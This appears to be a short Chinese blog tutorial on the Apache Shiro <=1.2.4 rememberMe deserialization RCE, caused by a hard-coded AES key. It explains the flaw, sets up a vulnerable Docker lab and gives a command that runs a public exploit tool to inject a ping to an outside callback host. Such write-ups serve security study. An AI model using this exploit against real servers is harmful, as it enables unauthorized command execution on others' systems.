Apache Shiro<=1.2.4反序列化RCE漏洞
阿新 • • 發佈:2020-10-10
版本:Apache Shiro<=1.2.4
介紹:Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。
漏洞原因:因為shiro對cookie裡的rememberme欄位進行了反序列化,所以如果知道了shiro的編碼方式,然後將惡意命令用它的編碼方式進行編碼並放在http頭的cookie裡,在shiro對提交的cookie的rememberme欄位進行反序列化時,也就執行了插入的命令,最終造成了命令執行
shiro預設使用了CookieRememberMeManager,其處理cookie的流程是:
得到rememberMe的cookie值-->Base64解碼-->AES解密-->反序列化
然而AES的金鑰是硬編碼的,就導致了攻擊者可以構造惡意資料造成反序列化的RCE漏洞。
漏洞驗證:
漏洞利用:
利用工具:https://github.com/sv3nbeast/ShiroScan
如果沒有該映象的話可以去在docker裡面拉取環境docker pull medicean/vulapps:s_shiro_1
,已經有人準備好了的
1、sudo docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
2、python shiro_rce.py http://192.168.1.143 "ping 0wtpsg.ceye.io"
參考文章:https://www.t00ls.net/viewthread.php?tid=52744&highlight=shiro